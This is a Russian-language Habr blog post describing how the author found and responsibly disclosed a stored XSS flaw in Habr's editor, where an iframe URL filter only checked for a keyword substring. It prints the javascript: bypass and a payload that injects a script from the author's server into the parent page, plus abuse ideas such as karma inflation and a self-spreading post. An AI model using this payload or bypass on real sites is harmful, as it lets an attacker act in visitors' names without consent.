Как я Хабр взломал

Всегда хотел взломать Хабр. Мечта такая, но как-то руки не доходили. И вот, вдохновившись статьей о праведной борьбе с Безумным Максом, я, как и автор поста, решил исследовать функционал Хабра на предмет уязвимостей.

Начать решил с нового редактора, рассуждая следующим образом: раз он новый, то и уязвимости там точно должны быть.

В редакторе обратил особое внимание на три возможности:

  1. Вставка кода

  2. Вставка формул

  3. Вставка медиаэлементов

С первыми двумя пришлось повозиться, но ничего существенного найти не удалось. А вот третий оказался очень интересным — через медиаэлемент можем вставлять iframe, указывая на url ресурса, например, делать вставку с youtube. 

0f6be6b980b932247d28e39d5d3d5c17.png

Но! Разработчики Хабра — хитрые ребята, и в материал вставляется iframe не прямой ссылкой на youtube, а ссылкой на https://embedd.srv.habr.com (например: https://embedd.srv.habr.com/iframe/621169d6e1af860b1c6b9971), где уже и содержится само видео.

Шаг 1

Проанализировав запрос сохранения публикации (https://habr.com/kek/v2/publication/save/ID), я попытался подменить ссылку в iframe на свою, через параметр habrUrl, но сервер вернул message:»Bad Request» »В тексте были использованы недопустимые элементы. Проверьте его содержимое». Хорошо, давайте проверим: недопустимых элементов точно нет, это просто url, а вот домен был не habr, а мой. Тогда в голову пришла мысль:»А что если домен embedd.srv.habr.com будет присутствовать только в части url, например так: https://mydomain.ru/embedd.srv.habr.com/? » 

Ого! Случилось чудо! Ссылка была успешно принята, и в черновиках я получил материал с iframe, где в качестве src была указана ссылка на мой ресурс. 

По всей видимости, разработчики не проверяют домен,  а проверяют только вхождение ключевого слова »embedd.srv.habr.com», к примеру https://mydomain.ru/habr.com/ валидным не является.

Получив страницу с «правильно» встроенным iframe и побаловавшись с alert и console.log, я понял, что политика безопасности браузера не позволяет запускать скрипты из iframe и вообще обращаться к родительскому окну.

В результате iframe injection c вытекающими отсюда последствиями есть, например, вставкой своей рекламы или выполнением скриптов от имени пользователей, но, увы, без привязки к домену habr.com. Такой вариант меня не устроил, и я решил копать дальше. 

Шаг 2

А если попробовать вставить в iframe src не ссылку на фрейм, а непосредственно сам вызов javascript?

Например так:

javascript:alert(‘Hello habr!’);

Разумеется не работает, «Bad Request». Ах! Да, конечно!

javascript:alert(‘Hello habr! From embedd.srv.habr.com’);

Работает! Спасибо ключевому слову «embedd.srv.habr.com»

Ну все, далее уже дело техники, пробуем создать тег script и загрузить заранее подготовленных js-файл с моего сервера.

javascript:s=window.top.document.createElement('script');
s.setAttribute('src','https://mydomain.com/embedd.srv.habr.com/test.js');
window.top.document.head.appendChild(s)

window.top — так как скрипт вызывается из iframe, необходимо сперва обратиться к родительскому окну;

embedd.srv.habr.com — не забываем вставить в текст этот домен, без него работать не будет.

042091781a80321285764b8d4eec4bb6.png

Отправив post-запрос, получил информацию, что материал успешно обновлен, а скрипт внедрен на страницу поста. 

e2a635e5db06415576de6b67b7c3ce23.png

Теперь любой пользователь, который зайдет в опубликованный материал, загрузит мой js-скрипт, и от его имени я могу совершать абсолютно любые действия,  например: повышать карму, голосовать за любой материал, оставлять комментарии и публиковать заметки (разумеется если у него есть на это права).

Навскидку несколько сценариев использования уязвимости:

  1. Втихую повышаем себе карму и плюсуем свои посты.

  2. «Мониторим» тех, кто минусует твои посты, и минусуем их самих.

  3. От имени пользователей создаём посты с уязвимостями, которые создают такие же посты с уязвимостями (рекурсивно).

  4. Вариантов на самом деле много, можно предлагать свои в комментариях.

Протестировав получение данных на странице черновика и поэкспериментировав увеличением кармы случайным пользователям, я, разумеется, написал в тех. поддержку. Со мной связался специалист по тестированию, который передал данные разработчикам. Уязвимость поправили довольно быстро, и в данный момент она устранена.

Выводы

  1. Хабр вдохновляет!

  2. ВНИМАТЕЛЬНО валидируйте пользовательские данные.

  3. Если нашли уязвимость — сообщите разработчикам Хабра (можно через @Boomburum), вознаграждение гарантируется.

© Habrahabr.ru